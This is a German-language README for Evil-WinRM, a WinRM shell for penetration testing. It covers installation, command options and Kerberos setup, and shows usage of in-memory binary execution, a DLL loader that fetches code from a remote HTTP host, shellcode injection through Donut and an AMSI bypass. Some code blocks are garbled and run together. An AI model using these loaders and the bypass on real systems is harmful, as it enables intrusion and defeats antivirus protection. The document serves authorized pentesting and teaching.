
Die ultimative WinRM-Shell für Hacking/Pentesting
Die ultimative WinRM-Shell für Hacking/Pentesting

Diese Shell ist die ultimative WinRM-Shell für Hacking/Pentesting.
WinRM (Windows Remote Management) ist die Microsoft-Implementierung des WS-Management-Protokolls. Ein standardmäßiges SOAP-basiertes Protokoll, das Hardware und Betriebssysteme verschiedener Hersteller miteinander kommunizieren lässt. Microsoft hat es in seine Betriebssysteme integriert, um Systemadministratoren das Leben zu erleichtern.
Dieses Programm kann auf jedem Microsoft Windows Server eingesetzt werden, der diese Funktion aktiviert hat (normalerweise auf Port 5985), natürlich nur, wenn Sie über die entsprechenden Anmeldeinformationen und Berechtigungen verfügen. Somit kann man sagen, dass es in einer Post-Exploitation-Phase des Hacking/Pentesting verwendet werden kann. Der Zweck dieses Programms ist es, schöne und einfach zu bedienende Funktionen für Hacking bereitzustellen. Es kann auch von Systemadministratoren für legitime Zwecke genutzt werden, aber die meisten seiner Funktionen sind auf Hacking/Pentesting ausgerichtet.
Es basiert hauptsächlich auf der WinRM-Ruby-Bibliothek, die seit Version 2.0 ihre Arbeitsweise geändert hat. Anstelle des WinRM-Protokolls wird nun PSRP (Powershell Remoting Protocol) verwendet, um Runspace-Pools zu initialisieren sowie Pipelines zu erstellen und zu verarbeiten.
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message
## Anforderungen
Ruby 2.3 oder höher wird benötigt. Einige ruby gems werden ebenfalls benötigt: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`.
Abhängig von Ihrer Installationsmethode (4 verfügbar) kann es erforderlich sein, diese manuell zu installieren.
Eine weitere wichtige Anforderung, die nur für die Kerberos-Authentifizierung verwendet wird, ist die Installation des Kerberos-Pakets für die Netzwerkauthentifizierung.
Für einige Linux-Distributionen wie Debian-basierte (Kali, Parrot usw.) heißt es `krb5-user`. Für BlackArch heißt es `krb5` und es könnte bei anderen Linux-Distributionen anders heißen.
Die Remote-Pfadvervollständigung funktioniert nur, wenn Ihr ruby mit der Option `--with-readline-dir` kompiliert wurde. Diese ist standardmäßig in ruby aktiviert, das in einigen Linux-Distributionen enthalten ist, jedoch nicht in allen. Weitere Informationen finden Sie [im Abschnitt unten](#Remote-path-completion).
## Installation & Schnellstart (4 Methoden)
### Methode 1. Installation direkt als ruby gem (Abhängigkeiten werden automatisch auf Ihrem System installiert)
- Schritt 1. Installieren Sie es (die Abhängigkeiten werden automatisch installiert): ```gem install evil-winrm```
- Schritt 2. Fertig. Starten Sie es einfach!```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
sudo gem install winrm winrm-fs stringio logger fileutilsgit clone https://github.com/Hackplayers/evil-winrm.git### Methode 3. Verwendung von Bundler (Abhängigkeiten werden nicht auf Ihrem System installiert, nur um evil-winrm zu verwenden)
- Schritt 1. Bundler installieren: `gem install bundler`
- Schritt 2. Repository klonen: `git clone https://github.com/Hackplayers/evil-winrm.git`
- Schritt 3. Abhängigkeiten mit Bundler installieren: `cd evil-winrm && bundle install --path vendor/bundle`
- Schritt 4. Mit Bundler starten:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
## Documentation
### Clear text password
Wenn Sie das Passwort nicht im Klartext angeben möchten, können Sie optional das Argument `-p` weglassen; das Passwort wird dann abgefragt, ohne angezeigt zu werden.
### Ipv6
Um IPv6 zu verwenden, muss die Adresse zu /etc/hosts hinzugefügt werden. Setzen Sie einfach den bereits festgelegten Hostnamen nach dem Argument `-i` anstelle einer IP-Adresse ein.
### Grundlegende Befehle
- **upload**: Lokale Dateien können mit der Tabulatortaste automatisch vervollständigt werden.
- usage: `upload local_filename` or `upload local_filename destination_filename`
- **download**:
- usage: `download remote_filename` or `download remote_filename destination_filename`
__Hinweise zu Pfaden (upload/download)__:
Relative Pfade sind bei Download/Upload nicht erlaubt. Verwenden Sie Dateinamen im aktuellen Verzeichnis oder absolute Pfade.
Wenn Sie Evil-WinRM in einer Docker-Umgebung verwenden, beachten Sie, dass alle lokalen Pfade unter `/data` liegen sollten und stellen Sie sicher, dass Sie es als Volume gemountet haben, um auf heruntergeladene Dateien zugreifen oder Dateien von Ihrem lokalen Host-Betriebssystem hochladen zu können.
- **services**: Listet alle Dienste auf und zeigt an, ob Ihr Konto über Berechtigungen für jeden einzelnen verfügt. Zur Nutzung dieser Funktion sind keine Administratorrechte erforderlich.
- **menu**: Lädt die Funktionen `Invoke-Binary`, `Dll-Loader` und `Donut-Loader`, die wir weiter unten erläutern. Wenn eine ps1 geladen wird, werden alle ihre Funktionen angezeigt.
- **clear** oder **cls**: Löscht den Terminalbildschirm. Sie können auch die Tastenkombination `Ctrl+L` verwenden, um den Bildschirm zu leeren.```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
Um eine ps1-Datei zu laden, geben Sie einfach den Namen ein (Auto-Vervollständigung mit Tab ist möglich). Die Skripte müssen sich im mit dem Argument -s festgelegten Pfad befinden. Geben Sie erneut menu ein, um die geladenen Funktionen zu sehen. Sehr große Dateien können lange zum Laden benötigen.```
Evil-WinRM PS C:> PowerView.ps1
Evil-WinRM PS C:> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ')
_ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| /
/ / / / /
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember
### Erweiterte Befehle
- Invoke-Binary: Ermöglicht das Ausführen von .Net-Assemblys im Arbeitsspeicher. Der Name kann mithilfe der Tabulatortaste automatisch vervollständigt werden. Argumente für die EXE-Datei können durch Kommas getrennt übergeben werden. Beispiel: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Die ausführbaren Dateien müssen sich im mit dem Argument `-e` festgelegten Pfad befinden.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
Dll-Loader: ermöglicht das Laden von DLL-Bibliotheken im Speicher, es entspricht: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
Die DLL-Datei kann über SMB, HTTP oder lokal gehostet werden. Nach dem Laden geben Sie menu ein, dann können Sie alle Funktionen automatisch vervollständigen.```
Evil-WinRM PS C:> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll
Function that loads an arbitrary dll
Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu
[... Snip ...]
Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64
- Donut-Loader: ermöglicht das Injizieren von x64 Payloads, die mit der großartigen [donut]-Technik generiert wurden. Keine Notwendigkeit, die payload.bin zu kodieren, einfach generieren und injizieren!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
Sie können diesen [donut-maker] verwenden, um die payload.bin zu generieren, falls Sie Windows nicht nutzen. Dieses Skript verwendet ein Python-Modul, das von Marcello Salvati ([byt3bl33d3r]) geschrieben wurde. Es kann mit pip installiert werden: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe
.'/,-Y" "-.
l.Y ^.
/\ __ Donuts!
i /" "
| /" "\ o !
l ] o !./
\ _ _ .__./ "
X / \ _./
( \ . ..--" ~" /
Y \ /
| "x.^
| -. Z,-- /
__. ( / ______)
\ l /-----
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI: patcht AMSI-Schutz.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
Zuerst müssen Sie die Uhrzeit mit dem DC synchronisieren: rdate -n <dc_ip>
Es gibt viele Möglichkeiten, Tickets zu generieren:
Ticketdatei hinzufügen. Es gibt 3 Möglichkeiten:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
Verwenden Sie den Parameter -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache oder evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi
Bei Verwendung von -K wird das Tool automatisch:
KRB5CCNAME setzenFügen Sie den Realm zu /etc/krb5.conf (für Linux) hinzu. Die Verwendung dieses Formats ist wichtig: ```
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
Diese Funktion ist möglicherweise nicht verfügbar, je nach der von Ihnen verwendeten Ruby. Sie muss mit readline-Unterstützung kompiliert sein. Andernfalls funktioniert diese Funktion nicht (eine Warnung wird angezeigt).
Mit dieser Methode kompilieren Sie Ruby mit der benötigten readline-Funktion, verwenden aber nur die Bibliothek, ohne die standardmäßige Ruby-Version auf Ihrem System zu ändern. Aus diesem Grund ist dies die am meisten empfohlene Methode.
Nehmen wir an, Sie haben auf Ihrem Debian-basierten System Ruby 2.7.3:```
apt install libreadline-dev
ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
tar -xf ruby-2.7.3.tar.gz
cd ruby-2.7.3/ext/readline ruby ./extconf.rb make
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
#### Methode 2 (Ruby installieren, um es nur für evil-winrm mit rbenv zu verwenden)
Angenommen, Sie möchten Ruby 2.7.1 auf einem Debian-basierten Linux und verwenden zsh. Dieses Skript automatisiert dies. Sie müssen es aus demselben Verzeichnis starten, in dem sich evil-winrm.rb und Gemfile befinden (das nach einem Git-Clone erstellte evil-winrm-Verzeichnis zum Beispiel):```
#!/usr/bin/env zsh
# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q
# Install rbenv
sudo apt install rbenv
# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc
# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1
# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
# Install local gems
gem install bundler
bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
#!/usr/bin/env sh
"${current_evwr}" "\$@"
EOF"
sudo chmod +x /usr/bin/evil-winrm
Dann können Sie evil-winrm mit dem neu installierten Ruby und der erforderlichen readline-Unterstützung von jedem Standort aus sicher starten.
Wenn Sie es selbst kompilieren möchten, können Sie diesen Schritten folgen. Angenommen, Sie möchten ruby 2.7.3:``` wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
Je nach Ihrem System wird es unter `/opt/rubies/ruby-2.7.3` oder vielleicht unter `~/.rubies/ruby-2.7.3` installiert.
Jetzt müssen nur noch die evil-winrm-Abhängigkeiten für diese neu installierte Ruby-Version installiert werden. Der einfachste Weg ist, den Befehl `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm` auszuführen. Der verwendete gem-Befehl muss zur neuen Ruby-Installation gehören.
Danach können Sie Ihr neu installiertes Ruby sicher starten, um es mit evil-winrm zu verwenden: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`
Es wird empfohlen, dieses neu installierte Ruby nur zum Starten von evil-winrm zu verwenden. Wenn Sie es als Ihr Standard-Ruby für das System einrichten, beachten Sie, dass keine Abhängigkeitsgems installiert sind. Einige Ruby-basierte Software wie Metasploit oder andere könnte aufgrund von Abhängigkeitsproblemen nicht korrekt starten.
### Protokollierung
Diese Funktion erstellt Dateien in Ihrem $HOME-Verzeichnis, die die Befehle und die Ausgaben der WinRM-Sitzungen speichert.
### Befehlsverlauf
Evil-WinRM führt einen persistenten Befehlsverlauf für jede Kombination aus Host und Benutzer. Der Verlauf wird im Verzeichnis `~/.evil-winrm/history/` mit Dateien gespeichert, die nach folgendem Schema benannt sind: `{host}_{user}.hist`.
Wenn Sie sich mit einer Maschine verbinden, auf die Sie bereits zuvor zugegriffen haben, können Sie mit den Pfeiltasten (Hoch/Runter) durch Ihre vorherigen Befehle navigieren. Der Verlauf wird nach jeder Befehlsausführung automatisch gespeichert und beim erneuten Verbinden zum selben Host mit demselben Benutzer geladen.
### Bekannte Probleme. OpenSSL-Fehler
Manchmal kann ein Fehler wie dieser auftreten:```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
The error is caused because the OpenSSL 3.0 version retired some legacy functions like MD4 which are needed to run this tool. There are different existing workarounds to deal with this situation:
/etc/ssl/openssl.cnf config file and be sure the config is like this:```
openssl_conf = openssl_init[openssl_init] providers = provider_sect
[provider_sect] default = default_sect legacy = legacy_sect
[default_sect] activate = 1
[legacy_sect] activate = 1
- Als Alternative zur letzten Problemumgehung, falls Ihr System LibreSSL anstelle von OpenSSL verwendet oder Sie einfach Ihre Systemkonfigurationsdatei nicht ändern möchten. Erstellen Sie eine einfache Datei mit dem obigen Inhalt. Es kann jeder Name verwendet werden, zum Beispiel `evil-tls.conf`. Exportieren Sie danach eine Umgebungsvariable, um das System zu zwingen, diese zu verwenden: `export OPENSSL_CONF="/path/to/evil-tls.conf"`. Starten Sie dann das Tool, der Fehler wird verschwinden.
## Änderungsprotokoll:
Änderungsprotokoll und Projektänderungen können hier eingesehen werden: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)
## Danksagungen:
Team:
- [Cybervaca], (Gründer). Twitter (X): [@CyberVaca_]
- [OscarAkaElvis], Twitter (X): [@OscarAkaElvis]
- [Jarilaos], Twitter (X): [@_Laox]
- [arale61], Twitter (X): [@arale61]
Besonderer Dank an:
- [Vis0r] für seine persönliche Unterstützung.
- [Alamot] für seinen ursprünglichen Code.
- [3v4Si0N] für seinen großartigen DLL-Loader.
- [WinRb] Alle Mitwirkenden der Ruby-Bibliothek.
- [TheWover] für sein großartiges Donut-Tool.
- [byt3bl33d3r] für seine Python-Bibliothek zur Erstellung von Donut-Payloads.
- [Sh11td0wn] für Inspiration zu neuen Funktionen.
- [Borch] für seine Hilfe bei der Implementierung der Protokollierungsfunktion.
- [Hackplayers] für die Bereitstellung eines Zuhauses auf ihrem GitHub für diese Software.
## Haftungsausschluss & Lizenz
Dieses Skript ist unter LGPLv3+ lizenziert. Direkter Link zur [Lizenz](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).
Evil-WinRM sollte nur für autorisierte Penetrationstests und/oder gemeinnützige Bildungszwecke verwendet werden.
Missbrauch dieser Software liegt nicht in der Verantwortung des Autors oder eines anderen Mitarbeiters.
Verwenden Sie es auf Ihren eigenen Servern und/oder mit der Erlaubnis des Serverbesitzers.
<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/
<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61
<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-3.9-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://img.shields.io/docker/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"
Überprüfen Sie Kerberos-Tickets mit klist
Um ein Ticket zu entfernen, verwenden Sie: kdestroy
Weitere Informationen zu Kerberos finden Sie in diesem [cheatsheet]